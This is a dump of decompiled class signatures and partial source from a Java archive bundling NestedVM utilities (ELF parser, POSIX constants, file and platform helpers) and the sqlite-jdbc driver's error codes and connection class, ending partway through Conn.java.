    public static final int _PC_NAME_MAX = 3;
    public static final int _PC_PATH_MAX = 4;
    public static final int _PC_PIPE_BUF = 5;
    public static final int _PC_CHOWN_RESTRICTED = 6;
    public static final int _PC_NO_TRUNC = 7;
    public static final int _PC_VDISABLE = 8;
    public static final int _PC_ASYNC_IO = 9;
    public static final int _PC_PRIO_IO = 10;
    public static final int _PC_SYNC_IO = 11;
    public static final int _PC_POSIX_PERMISSIONS = 90;
    public static final int _PC_POSIX_SECURITY = 91;
    public static final int MAXPATHLEN = 1024;
    public static final int ARG_MAX = 65536;
    public static final int CHILD_MAX = 40;
    public static final int LINK_MAX = 32767;
    public static final int MAX_CANON = 255;
    public static final int MAX_INPUT = 255;
    public static final int NAME_MAX = 255;
    public static final int NGROUPS_MAX = 16;
    public static final int OPEN_MAX = 64;
    public static final int PATH_MAX = 1024;
    public static final int PIPE_BUF = 512;
    public static final int IOV_MAX = 1024;
    public static final int BC_BASE_MAX = 99;
    public static final int BC_DIM_MAX = 2048;
    public static final int BC_SCALE_MAX = 99;
    public static final int BC_STRING_MAX = 1000;
    public static final int COLL_WEIGHTS_MAX = 0;
    public static final int EXPR_NEST_MAX = 32;
    public static final int LINE_MAX = 2048;
    public static final int RE_DUP_MAX = 255;
    public static final int CTL_MAXNAME = 12;
    public static final int CTL_UNSPEC = 0;
    public static final int CTL_KERN = 1;
    public static final int CTL_VM = 2;
    public static final int CTL_VFS = 3;
    public static final int CTL_NET = 4;
    public static final int CTL_DEBUG = 5;
    public static final int CTL_HW = 6;
    public static final int CTL_MACHDEP = 7;
    public static final int CTL_USER = 8;
    public static final int CTL_P1003_1B = 9;
    public static final int CTL_MAXID = 10;
    public static final int KERN_OSTYPE = 1;
    public static final int KERN_OSRELEASE = 2;
    public static final int KERN_OSREV = 3;
    public static final int KERN_VERSION = 4;
    public static final int KERN_MAXVNODES = 5;
    public static final int KERN_MAXPROC = 6;
    public static final int KERN_MAXFILES = 7;
    public static final int KERN_ARGMAX = 8;
    public static final int KERN_SECURELVL = 9;
    public static final int KERN_HOSTNAME = 10;
    public static final int KERN_HOSTID = 11;
    public static final int KERN_CLOCKRATE = 12;
    public static final int KERN_VNODE = 13;
    public static final int KERN_PROC = 14;
    public static final int KERN_FILE = 15;
    public static final int KERN_PROF = 16;
    public static final int KERN_POSIX1 = 17;
    public static final int KERN_NGROUPS = 18;
    public static final int KERN_JOB_CONTROL = 19;
    public static final int KERN_SAVED_IDS = 20;
    public static final int KERN_BOOTTIME = 21;
    public static final int KERN_NISDOMAINNAME = 22;
    public static final int KERN_UPDATEINTERVAL = 23;
    public static final int KERN_OSRELDATE = 24;
    public static final int KERN_NTP_PLL = 25;
    public static final int KERN_BOOTFILE = 26;
    public static final int KERN_MAXFILESPERPROC = 27;
    public static final int KERN_MAXPROCPERUID = 28;
    public static final int KERN_DUMPDEV = 29;
    public static final int KERN_IPC = 30;
    public static final int KERN_DUMMY = 31;
    public static final int KERN_PS_STRINGS = 32;
    public static final int KERN_USRSTACK = 33;
    public static final int KERN_LOGSIGEXIT = 34;
    public static final int KERN_MAXID = 35;
    public static final int KERN_PROC_ALL = 0;
    public static final int KERN_PROC_PID = 1;
    public static final int KERN_PROC_PGRP = 2;
    public static final int KERN_PROC_SESSION = 3;
    public static final int KERN_PROC_TTY = 4;
    public static final int KERN_PROC_UID = 5;
    public static final int KERN_PROC_RUID = 6;
    public static final int KERN_PROC_ARGS = 7;
    public static final int KIPC_MAXSOCKBUF = 1;
    public static final int KIPC_SOCKBUF_WASTE = 2;
    public static final int KIPC_SOMAXCONN = 3;
    public static final int KIPC_MAX_LINKHDR = 4;
    public static final int KIPC_MAX_PROTOHDR = 5;
    public static final int KIPC_MAX_HDR = 6;
    public static final int KIPC_MAX_DATALEN = 7;
    public static final int KIPC_MBSTAT = 8;
    public static final int KIPC_NMBCLUSTERS = 9;
    public static final int HW_MACHINE = 1;
    public static final int HW_MODEL = 2;
    public static final int HW_NCPU = 3;
    public static final int HW_BYTEORDER = 4;
    public static final int HW_PHYSMEM = 5;
    public static final int HW_USERMEM = 6;
    public static final int HW_PAGESIZE = 7;
    public static final int HW_DISKNAMES = 8;
    public static final int HW_DISKSTATS = 9;
    public static final int HW_FLOATINGPT = 10;
    public static final int HW_MACHINE_ARCH = 11;
    public static final int HW_MAXID = 12;
    public static final int USER_CS_PATH = 1;
    public static final int USER_BC_BASE_MAX = 2;
    public static final int USER_BC_DIM_MAX = 3;
    public static final int USER_BC_SCALE_MAX = 4;
    public static final int USER_BC_STRING_MAX = 5;
    public static final int USER_COLL_WEIGHTS_MAX = 6;
    public static final int USER_EXPR_NEST_MAX = 7;
    public static final int USER_LINE_MAX = 8;
    public static final int USER_RE_DUP_MAX = 9;
    public static final int USER_POSIX2_VERSION = 10;
    public static final int USER_POSIX2_C_BIND = 11;
    public static final int USER_POSIX2_C_DEV = 12;
    public static final int USER_POSIX2_CHAR_TERM = 13;
    public static final int USER_POSIX2_FORT_DEV = 14;
    public static final int USER_POSIX2_FORT_RUN = 15;
    public static final int USER_POSIX2_LOCALEDEF = 16;
    public static final int USER_POSIX2_SW_DEV = 17;
    public static final int USER_POSIX2_UPE = 18;
    public static final int USER_STREAM_MAX = 19;
    public static final int USER_TZNAME_MAX = 20;
    public static final int USER_MAXID = 21;
    public static final int CTL_P1003_1B_ASYNCHRONOUS_IO = 1;
    public static final int CTL_P1003_1B_MAPPED_FILES = 2;
    public static final int CTL_P1003_1B_MEMLOCK = 3;
    public static final int CTL_P1003_1B_MEMLOCK_RANGE = 4;
    public static final int CTL_P1003_1B_MEMORY_PROTECTION = 5;
    public static final int CTL_P1003_1B_MESSAGE_PASSING = 6;
    public static final int CTL_P1003_1B_PRIORITIZED_IO = 7;
    public static final int CTL_P1003_1B_PRIORITY_SCHEDULING = 8;
    public static final int CTL_P1003_1B_REALTIME_SIGNALS = 9;
    public static final int CTL_P1003_1B_SEMAPHORES = 10;
    public static final int CTL_P1003_1B_FSYNC = 11;
    public static final int CTL_P1003_1B_SHARED_MEMORY_OBJECTS = 12;
    public static final int CTL_P1003_1B_SYNCHRONIZED_IO = 13;
    public static final int CTL_P1003_1B_TIMERS = 14;
    public static final int CTL_P1003_1B_AIO_LISTIO_MAX = 15;
    public static final int CTL_P1003_1B_AIO_MAX = 16;
    public static final int CTL_P1003_1B_AIO_PRIO_DELTA_MAX = 17;
    public static final int CTL_P1003_1B_DELAYTIMER_MAX = 18;
    public static final int CTL_P1003_1B_MQ_OPEN_MAX = 19;
    public static final int CTL_P1003_1B_PAGESIZE = 20;
    public static final int CTL_P1003_1B_RTSIG_MAX = 21;
    public static final int CTL_P1003_1B_SEM_NSEMS_MAX = 22;
    public static final int CTL_P1003_1B_SEM_VALUE_MAX = 23;
    public static final int CTL_P1003_1B_SIGQUEUE_MAX = 24;
    public static final int CTL_P1003_1B_TIMER_MAX = 25;
    public static final int CTL_P1003_1B_MAXID = 26;
    public static final int F_UNLKSYS = 4;
    public static final int F_CNVT = 12;
    public static final int F_SETFD = 2;
    public static final int F_SETFL = 4;
    public static final int F_SETLK = 8;
    public static final int F_SETOWN = 6;
    public static final int F_RDLCK = 1;
    public static final int F_WRLCK = 2;
    public static final int F_SETLKW = 9;
    public static final int F_GETFD = 1;
    public static final int F_DUPFD = 0;
    public static final int O_WRONLY = 1;
    public static final int F_RSETLKW = 13;
    public static final int O_RDWR = 2;
    public static final int F_RGETLK = 10;
    public static final int O_RDONLY = 0;
    public static final int F_UNLCK = 3;
    public static final int F_GETOWN = 5;
    public static final int F_RSETLK = 11;
    public static final int F_GETFL = 3;
    public static final int F_GETLK = 7;
}










org/ibex/nestedvm/util/ELF$ELFException.class


package org.ibex.nestedvm.util;
public synchronized class ELF$ELFException extends java.io.IOException {
    void ELF$ELFException(ELF, String);
}










org/ibex/nestedvm/util/ELF$ELFHeader.class


package org.ibex.nestedvm.util;
public synchronized class ELF$ELFHeader {
    public short type;
    public short machine;
    public int version;
    public int entry;
    public int phoff;
    public int shoff;
    public int flags;
    public short ehsize;
    public short phentsize;
    public short phnum;
    public short shentsize;
    public short shnum;
    public short shstrndx;
    void ELF$ELFHeader(ELF) throws java.io.IOException;
}










org/ibex/nestedvm/util/ELF$ELFIdent.class


package org.ibex.nestedvm.util;
public synchronized class ELF$ELFIdent {
    public byte klass;
    public byte data;
    public byte osabi;
    public byte abiversion;
    void ELF$ELFIdent(ELF) throws java.io.IOException;
}










org/ibex/nestedvm/util/ELF$PHeader.class


package org.ibex.nestedvm.util;
public synchronized class ELF$PHeader {
    public int type;
    public int offset;
    public int vaddr;
    public int paddr;
    public int filesz;
    public int memsz;
    public int flags;
    public int align;
    void ELF$PHeader(ELF) throws java.io.IOException;
    public boolean writable();
    public java.io.InputStream getInputStream() throws java.io.IOException;
}










org/ibex/nestedvm/util/ELF$SectionInputStream.class


package org.ibex.nestedvm.util;
synchronized class ELF$SectionInputStream extends java.io.InputStream {
    private int pos;
    private int maxpos;
    void ELF$SectionInputStream(ELF, int, int) throws java.io.IOException;
    private int bytesLeft();
    public int read() throws java.io.IOException;
    public int read(byte[], int, int) throws java.io.IOException;
    public void close();
}










org/ibex/nestedvm/util/ELF$SHeader.class


package org.ibex.nestedvm.util;
public synchronized class ELF$SHeader {
    int nameidx;
    public String name;
    public int type;
    public int flags;
    public int addr;
    public int offset;
    public int size;
    public int link;
    public int info;
    public int addralign;
    public int entsize;
    void ELF$SHeader(ELF) throws java.io.IOException;
    public java.io.InputStream getInputStream() throws java.io.IOException;
    public boolean isText();
    public boolean isData();
    public boolean isBSS();
}










org/ibex/nestedvm/util/ELF$Symbol.class


package org.ibex.nestedvm.util;
public synchronized class ELF$Symbol {
    public String name;
    public int addr;
    public int size;
    public byte info;
    public byte type;
    public byte binding;
    public byte other;
    public short shndx;
    public ELF$SHeader sheader;
    public static final int STT_FUNC = 2;
    public static final int STB_GLOBAL = 1;
    void ELF$Symbol(ELF, byte[]) throws java.io.IOException;
}










org/ibex/nestedvm/util/ELF$Symtab.class


package org.ibex.nestedvm.util;
public synchronized class ELF$Symtab {
    public ELF$Symbol[] symbols;
    void ELF$Symtab(ELF, int, int, byte[]) throws java.io.IOException;
    public ELF$Symbol getSymbol(String);
    public ELF$Symbol getGlobalSymbol(String);
}










org/ibex/nestedvm/util/ELF.class


package org.ibex.nestedvm.util;
public synchronized class ELF {
    private static final int ELF_MAGIC = 2135247942;
    public static final int ELFCLASSNONE = 0;
    public static final int ELFCLASS32 = 1;
    public static final int ELFCLASS64 = 2;
    public static final int ELFDATANONE = 0;
    public static final int ELFDATA2LSB = 1;
    public static final int ELFDATA2MSB = 2;
    public static final int SHT_SYMTAB = 2;
    public static final int SHT_STRTAB = 3;
    public static final int SHT_NOBITS = 8;
    public static final int SHF_WRITE = 1;
    public static final int SHF_ALLOC = 2;
    public static final int SHF_EXECINSTR = 4;
    public static final int PF_X = 1;
    public static final int PF_W = 2;
    public static final int PF_R = 4;
    public static final int PT_LOAD = 1;
    public static final short ET_EXEC = 2;
    public static final short EM_MIPS = 8;
    private Seekable data;
    public ELF$ELFIdent ident;
    public ELF$ELFHeader header;
    public ELF$PHeader[] pheaders;
    public ELF$SHeader[] sheaders;
    private byte[] stringTable;
    private boolean sectionReaderActive;
    private ELF$Symtab _symtab;
    private void readFully(byte[]) throws java.io.IOException;
    private int readIntBE() throws java.io.IOException;
    private int readInt() throws java.io.IOException;
    private short readShortBE() throws java.io.IOException;
    private short readShort() throws java.io.IOException;
    private byte readByte() throws java.io.IOException;
    public void ELF(String) throws java.io.IOException, ELF$ELFException;
    public void ELF(Seekable) throws java.io.IOException, ELF$ELFException;
    private String getString(int);
    private String getString(int, byte[]);
    public ELF$SHeader sectionWithName(String);
    public ELF$Symtab getSymtab() throws java.io.IOException;
    private static String toHex(int);
}










org/ibex/nestedvm/util/InodeCache.class


package org.ibex.nestedvm.util;
public synchronized class InodeCache {
    private static final Object PLACEHOLDER;
    private static final short SHORT_PLACEHOLDER = -2;
    private static final short SHORT_NULL = -1;
    private static final int LOAD_FACTOR = 2;
    private final int maxSize;
    private final int totalSlots;
    private final int maxUsedSlots;
    private final Object[] keys;
    private final short[] next;
    private final short[] prev;
    private final short[] inodes;
    private final short[] reverse;
    private int size;
    private int usedSlots;
    private short mru;
    private short lru;
    public void InodeCache();
    public void InodeCache(int);
    private static void fill(Object[], Object);
    private static void fill(short[], short);
    public final void clear();
    public final short get(Object);
    public Object reverse(short);
    static void <clinit>();
}










org/ibex/nestedvm/util/Platform$Jdk11.class


package org.ibex.nestedvm.util;
synchronized class Platform$Jdk11 extends Platform {
    void Platform$Jdk11();
    boolean _atomicCreateFile(java.io.File) throws java.io.IOException;
    Seekable$Lock _lockFile(Seekable, java.io.RandomAccessFile, long, long, boolean) throws java.io.IOException;
    void _socketHalfClose(java.net.Socket, boolean) throws java.io.IOException;
    java.net.InetAddress _inetAddressFromBytes(byte[]) throws java.net.UnknownHostException;
    void _socketSetKeepAlive(java.net.Socket, boolean) throws java.net.SocketException;
    String _timeZoneGetDisplayName(java.util.TimeZone, boolean, boolean, java.util.Locale);
    void _setFileLength(java.io.RandomAccessFile, int) throws java.io.IOException;
    java.io.RandomAccessFile _truncatedRandomAccessFile(java.io.File, String) throws java.io.IOException;
    java.io.File[] _listRoots();
    java.io.File _getRoot(java.io.File);
}










org/ibex/nestedvm/util/Platform$Jdk12.class


package org.ibex.nestedvm.util;
synchronized class Platform$Jdk12 extends Platform$Jdk11 {
    void Platform$Jdk12();
    boolean _atomicCreateFile(java.io.File) throws java.io.IOException;
    String _timeZoneGetDisplayName(java.util.TimeZone, boolean, boolean, java.util.Locale);
    void _setFileLength(java.io.RandomAccessFile, int) throws java.io.IOException;
    java.io.File[] _listRoots();
}










org/ibex/nestedvm/util/Platform$Jdk13.class


package org.ibex.nestedvm.util;
synchronized class Platform$Jdk13 extends Platform$Jdk12 {
    void Platform$Jdk13();
    void _socketHalfClose(java.net.Socket, boolean) throws java.io.IOException;
    void _socketSetKeepAlive(java.net.Socket, boolean) throws java.net.SocketException;
}










org/ibex/nestedvm/util/Platform$Jdk14.class


package org.ibex.nestedvm.util;
synchronized class Platform$Jdk14 extends Platform$Jdk13 {
    void Platform$Jdk14();
    java.net.InetAddress _inetAddressFromBytes(byte[]) throws java.net.UnknownHostException;
    Seekable$Lock _lockFile(Seekable, java.io.RandomAccessFile, long, long, boolean) throws java.io.IOException;
}










org/ibex/nestedvm/util/Platform$Jdk14FileLock.class


package org.ibex.nestedvm.util;
final synchronized class Platform$Jdk14FileLock extends Seekable$Lock {
    private final Seekable s;
    private final java.nio.channels.FileLock l;
    void Platform$Jdk14FileLock(Seekable, java.nio.channels.FileLock);
    public Seekable seekable();
    public boolean isShared();
    public boolean isValid();
    public void release() throws java.io.IOException;
    public long position();
    public long size();
    public String toString();
}










org/ibex/nestedvm/util/Platform.class


package org.ibex.nestedvm.util;
public abstract synchronized class Platform {
    private static final Platform p;
    void Platform();
    public static String getProperty(String);
    abstract boolean _atomicCreateFile(java.io.File) throws java.io.IOException;
    public static boolean atomicCreateFile(java.io.File) throws java.io.IOException;
    abstract Seekable$Lock _lockFile(Seekable, java.io.RandomAccessFile, long, long, boolean) throws java.io.IOException;
    public static Seekable$Lock lockFile(Seekable, java.io.RandomAccessFile, long, long, boolean) throws java.io.IOException;
    abstract void _socketHalfClose(java.net.Socket, boolean) throws java.io.IOException;
    public static void socketHalfClose(java.net.Socket, boolean) throws java.io.IOException;
    abstract void _socketSetKeepAlive(java.net.Socket, boolean) throws java.net.SocketException;
    public static void socketSetKeepAlive(java.net.Socket, boolean) throws java.net.SocketException;
    abstract java.net.InetAddress _inetAddressFromBytes(byte[]) throws java.net.UnknownHostException;
    public static java.net.InetAddress inetAddressFromBytes(byte[]) throws java.net.UnknownHostException;
    abstract String _timeZoneGetDisplayName(java.util.TimeZone, boolean, boolean, java.util.Locale);
    public static String timeZoneGetDisplayName(java.util.TimeZone, boolean, boolean, java.util.Locale);
    public static String timeZoneGetDisplayName(java.util.TimeZone, boolean, boolean);
    abstract void _setFileLength(java.io.RandomAccessFile, int) throws java.io.IOException;
    public static void setFileLength(java.io.RandomAccessFile, int) throws java.io.IOException;
    abstract java.io.File[] _listRoots();
    public static java.io.File[] listRoots();
    abstract java.io.File _getRoot(java.io.File);
    public static java.io.File getRoot(java.io.File);
    static void <clinit>();
}










org/ibex/nestedvm/util/Seekable$ByteArray.class


package org.ibex.nestedvm.util;
public synchronized class Seekable$ByteArray extends Seekable {
    protected byte[] data;
    protected int pos;
    private final boolean writable;
    public void Seekable$ByteArray(byte[], boolean);
    public int read(byte[], int, int);
    public int write(byte[], int, int) throws java.io.IOException;
    public int length();
    public int pos();
    public void seek(int);
    public void close();
}










org/ibex/nestedvm/util/Seekable$File.class


package org.ibex.nestedvm.util;
public synchronized class Seekable$File extends Seekable {
    private final java.io.File file;
    private final java.io.RandomAccessFile raf;
    public void Seekable$File(String) throws java.io.IOException;
    public void Seekable$File(String, boolean) throws java.io.IOException;
    public void Seekable$File(java.io.File, boolean, boolean) throws java.io.IOException;
    public int read(byte[], int, int) throws java.io.IOException;
    public int write(byte[], int, int) throws java.io.IOException;
    public void sync() throws java.io.IOException;
    public void seek(int) throws java.io.IOException;
    public int pos() throws java.io.IOException;
    public int length() throws java.io.IOException;
    public void close() throws java.io.IOException;
    public void resize(long) throws java.io.IOException;
    public boolean equals(Object);
    public Seekable$Lock lock(long, long, boolean) throws java.io.IOException;
}










org/ibex/nestedvm/util/Seekable$InputStream.class


package org.ibex.nestedvm.util;
public synchronized class Seekable$InputStream extends Seekable {
    private byte[] buffer;
    private int bytesRead;
    private boolean eof;
    private int pos;
    private java.io.InputStream is;
    public void Seekable$InputStream(java.io.InputStream);
    public int read(byte[], int, int) throws java.io.IOException;
    private void readTo(int) throws java.io.IOException;
    public int length() throws java.io.IOException;
    public int write(byte[], int, int) throws java.io.IOException;
    public void seek(int);
    public int pos();
    public void close() throws java.io.IOException;
}










org/ibex/nestedvm/util/Seekable$Lock.class


package org.ibex.nestedvm.util;
public abstract synchronized class Seekable$Lock {
    private Object owner;
    public void Seekable$Lock();
    public abstract Seekable seekable();
    public abstract boolean isShared();
    public abstract boolean isValid();
    public abstract void release() throws java.io.IOException;
    public abstract long position();
    public abstract long size();
    public void setOwner(Object);
    public Object getOwner();
    public final boolean contains(int, int);
    public final boolean contained(int, int);
    public final boolean overlaps(int, int);
}










org/ibex/nestedvm/util/Seekable.class


package org.ibex.nestedvm.util;
public abstract synchronized class Seekable {
    public void Seekable();
    public abstract int read(byte[], int, int) throws java.io.IOException;
    public abstract int write(byte[], int, int) throws java.io.IOException;
    public abstract int length() throws java.io.IOException;
    public abstract void seek(int) throws java.io.IOException;
    public abstract void close() throws java.io.IOException;
    public abstract int pos() throws java.io.IOException;
    public void sync() throws java.io.IOException;
    public void resize(long) throws java.io.IOException;
    public Seekable$Lock lock(long, long, boolean) throws java.io.IOException;
    public int read() throws java.io.IOException;
    public int tryReadFully(byte[], int, int) throws java.io.IOException;
}










org/ibex/nestedvm/util/Sort$1.class


package org.ibex.nestedvm.util;
synchronized class Sort$1 implements Sort$CompareFunc {
    void Sort$1();
    public int compare(Object, Object);
}










org/ibex/nestedvm/util/Sort$Comparable.class


package org.ibex.nestedvm.util;
public abstract interface Sort$Comparable {
    public abstract int compareTo(Object);
}










org/ibex/nestedvm/util/Sort$CompareFunc.class


package org.ibex.nestedvm.util;
public abstract interface Sort$CompareFunc {
    public abstract int compare(Object, Object);
}










org/ibex/nestedvm/util/Sort.class


package org.ibex.nestedvm.util;
public final synchronized class Sort {
    private static final Sort$CompareFunc comparableCompareFunc;
    private void Sort();
    public static void sort(Sort$Comparable[]);
    public static void sort(Object[], Sort$CompareFunc);
    private static void sort(Object[], Sort$CompareFunc, int, int);
    static void <clinit>();
}










org/sqlite/Codes.class


package org.sqlite;
abstract interface Codes {
    public static final int SQLITE_OK = 0;
    public static final int SQLITE_ERROR = 1;
    public static final int SQLITE_INTERNAL = 2;
    public static final int SQLITE_PERM = 3;
    public static final int SQLITE_ABORT = 4;
    public static final int SQLITE_BUSY = 5;
    public static final int SQLITE_LOCKED = 6;
    public static final int SQLITE_NOMEM = 7;
    public static final int SQLITE_READONLY = 8;
    public static final int SQLITE_INTERRUPT = 9;
    public static final int SQLITE_IOERR = 10;
    public static final int SQLITE_CORRUPT = 11;
    public static final int SQLITE_NOTFOUND = 12;
    public static final int SQLITE_FULL = 13;
    public static final int SQLITE_CANTOPEN = 14;
    public static final int SQLITE_PROTOCOL = 15;
    public static final int SQLITE_EMPTY = 16;
    public static final int SQLITE_SCHEMA = 17;
    public static final int SQLITE_TOOBIG = 18;
    public static final int SQLITE_CONSTRAINT = 19;
    public static final int SQLITE_MISMATCH = 20;
    public static final int SQLITE_MISUSE = 21;
    public static final int SQLITE_NOLFS = 22;
    public static final int SQLITE_AUTH = 23;
    public static final int SQLITE_ROW = 100;
    public static final int SQLITE_DONE = 101;
    public static final int SQLITE_INTEGER = 1;
    public static final int SQLITE_FLOAT = 2;
    public static final int SQLITE_TEXT = 3;
    public static final int SQLITE_BLOB = 4;
    public static final int SQLITE_NULL = 5;
}










org/sqlite/Codes.java



org/sqlite/Codes.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */



package org.sqlite;







interface Codes



{



    /** Successful result */



    public static final int SQLITE_OK         =   0;







    /** SQL error or missing database */



    public static final int SQLITE_ERROR      =   1;







    /** An internal logic error in SQLite */



    public static final int SQLITE_INTERNAL   =   2;







    /** Access permission denied */



    public static final int SQLITE_PERM       =   3;







    /** Callback routine requested an abort */



    public static final int SQLITE_ABORT      =   4;







    /** The database file is locked */



    public static final int SQLITE_BUSY       =   5;







    /** A table in the database is locked */



    public static final int SQLITE_LOCKED     =   6;







    /** A malloc() failed */



    public static final int SQLITE_NOMEM      =   7;







    /** Attempt to write a readonly database */



    public static final int SQLITE_READONLY   =   8;







    /** Operation terminated by sqlite_interrupt() */



    public static final int SQLITE_INTERRUPT  =   9;







    /** Some kind of disk I/O error occurred */



    public static final int SQLITE_IOERR      =  10;







    /** The database disk image is malformed */



    public static final int SQLITE_CORRUPT    =  11;







    /** (Internal Only) Table or record not found */



    public static final int SQLITE_NOTFOUND   =  12;







    /** Insertion failed because database is full */



    public static final int SQLITE_FULL       =  13;







    /** Unable to open the database file */



    public static final int SQLITE_CANTOPEN   =  14;







    /** Database lock protocol error */



    public static final int SQLITE_PROTOCOL   =  15;







    /** (Internal Only) Database table is empty */



    public static final int SQLITE_EMPTY      =  16;







    /** The database schema changed */



    public static final int SQLITE_SCHEMA     =  17;







    /** Too much data for one row of a table */



    public static final int SQLITE_TOOBIG     =  18;







    /** Abort due to constraint violation */



    public static final int SQLITE_CONSTRAINT =  19;







    /** Data type mismatch */



    public static final int SQLITE_MISMATCH   =  20;







    /** Library used incorrectly */



    public static final int SQLITE_MISUSE     =  21;







    /** Uses OS features not supported on host */



    public static final int SQLITE_NOLFS      =  22;







    /** Authorization denied */



    public static final int SQLITE_AUTH       =  23;







    /** sqlite_step() has another row ready */



    public static final int SQLITE_ROW        =  100;







    /** sqlite_step() has finished executing */



    public static final int SQLITE_DONE       =  101;











    // types returned by sqlite3_column_type()







    public static final int SQLITE_INTEGER    =  1;



    public static final int SQLITE_FLOAT      =  2;



    public static final int SQLITE_TEXT       =  3;



    public static final int SQLITE_BLOB       =  4;



    public static final int SQLITE_NULL       =  5;



}










org/sqlite/Conn.class


package org.sqlite;
synchronized class Conn implements java.sql.Connection {
    private final String url;
    private String fileName;
    private DB db;
    private MetaData meta;
    private boolean autoCommit;
    private int transactionIsolation;
    private int timeout;
    private static final String RESOURCE_NAME_PREFIX = :resource:;
    public void Conn(String, String) throws java.sql.SQLException;
    public void Conn(String, String, java.util.Properties) throws java.sql.SQLException;
    private void open(int) throws java.sql.SQLException;
    private java.io.File extractResource(java.net.URL) throws java.io.IOException;
    int getTimeout();
    void setTimeout(int) throws java.sql.SQLException;
    String url();
    String libversion() throws java.sql.SQLException;
    DB db();
    private void checkOpen() throws java.sql.SQLException;
    private void checkCursor(int, int, int) throws java.sql.SQLException;
    public void finalize() throws java.sql.SQLException;
    public void close() throws java.sql.SQLException;
    public boolean isClosed() throws java.sql.SQLException;
    public String getCatalog() throws java.sql.SQLException;
    public void setCatalog(String) throws java.sql.SQLException;
    public int getHoldability() throws java.sql.SQLException;
    public void setHoldability(int) throws java.sql.SQLException;
    public int getTransactionIsolation();
    public void setTransactionIsolation(int) throws java.sql.SQLException;
    public java.util.Map getTypeMap() throws java.sql.SQLException;
    public void setTypeMap(java.util.Map) throws java.sql.SQLException;
    public boolean isReadOnly() throws java.sql.SQLException;
    public void setReadOnly(boolean) throws java.sql.SQLException;
    public java.sql.DatabaseMetaData getMetaData();
    public String nativeSQL(String);
    public void clearWarnings() throws java.sql.SQLException;
    public java.sql.SQLWarning getWarnings() throws java.sql.SQLException;
    public boolean getAutoCommit() throws java.sql.SQLException;
    public void setAutoCommit(boolean) throws java.sql.SQLException;
    public void commit() throws java.sql.SQLException;
    public void rollback() throws java.sql.SQLException;
    public java.sql.Statement createStatement() throws java.sql.SQLException;
    public java.sql.Statement createStatement(int, int) throws java.sql.SQLException;
    public java.sql.Statement createStatement(int, int, int) throws java.sql.SQLException;
    public java.sql.CallableStatement prepareCall(String) throws java.sql.SQLException;
    public java.sql.CallableStatement prepareCall(String, int, int) throws java.sql.SQLException;
    public java.sql.CallableStatement prepareCall(String, int, int, int) throws java.sql.SQLException;
    public java.sql.PreparedStatement prepareStatement(String) throws java.sql.SQLException;
    public java.sql.PreparedStatement prepareStatement(String, int) throws java.sql.SQLException;
    public java.sql.PreparedStatement prepareStatement(String, int[]) throws java.sql.SQLException;
    public java.sql.PreparedStatement prepareStatement(String, String[]) throws java.sql.SQLException;
    public java.sql.PreparedStatement prepareStatement(String, int, int) throws java.sql.SQLException;
    public java.sql.PreparedStatement prepareStatement(String, int, int, int) throws java.sql.SQLException;
    String getDriverVersion();
    public java.sql.Savepoint setSavepoint() throws java.sql.SQLException;
    public java.sql.Savepoint setSavepoint(String) throws java.sql.SQLException;
    public void releaseSavepoint(java.sql.Savepoint) throws java.sql.SQLException;
    public void rollback(java.sql.Savepoint) throws java.sql.SQLException;
    public java.sql.Struct createStruct(String, Object[]) throws java.sql.SQLException;
}
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org/sqlite/Conn.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */



package org.sqlite;







import java.io.File;



import java.io.FileOutputStream;



import java.io.IOException;



import java.io.InputStream;



import java.net.MalformedURLException;



import java.net.URISyntaxException;



import java.net.URL;



import java.sql.CallableStatement;



import java.sql.Connection;



import java.sql.DatabaseMetaData;



import java.sql.PreparedStatement;



import java.sql.ResultSet;



import java.sql.SQLException;



import java.sql.SQLWarning;



import java.sql.Savepoint;



import java.sql.Statement;



import java.sql.Struct;



import java.util.Map;



import java.util.Properties;







class Conn implements Connection



{



    private final String url;



    private String       fileName;



    private DB           db                   = null;



    private MetaData     meta                 = null;



    private boolean      autoCommit           = true;



    private int          transactionIsolation = TRANSACTION_SERIALIZABLE;



    private int          timeout              = 0;







    public Conn(String url, String fileName) throws SQLException {



        this(url, fileName, new Properties());



    }







    public Conn(String url, String fileName, Properties prop) throws SQLException {



        this.url = url;



        this.fileName = fileName;







        SQLiteConfig config = new SQLiteConfig(prop);



        open(config.getOpenModeFlags());







        boolean enableSharedCache = config.isEnabledSharedCache();



        boolean enableLoadExtension = config.isEnabledLoadExtension();



        db.shared_cache(enableSharedCache);



        db.enable_load_extension(enableLoadExtension);







        // set pragmas



        config.apply(this);



    }







    private static final String RESOURCE_NAME_PREFIX = ":resource:";







    private void open(int openModeFlags) throws SQLException {



        // check the path to the file exists



        if (!":memory:".equals(fileName)) {



            if (fileName.startsWith(RESOURCE_NAME_PREFIX)) {



                String resourceName = fileName.substring(RESOURCE_NAME_PREFIX.length());







                // search the class path



                ClassLoader contextCL = Thread.currentThread().getContextClassLoader();



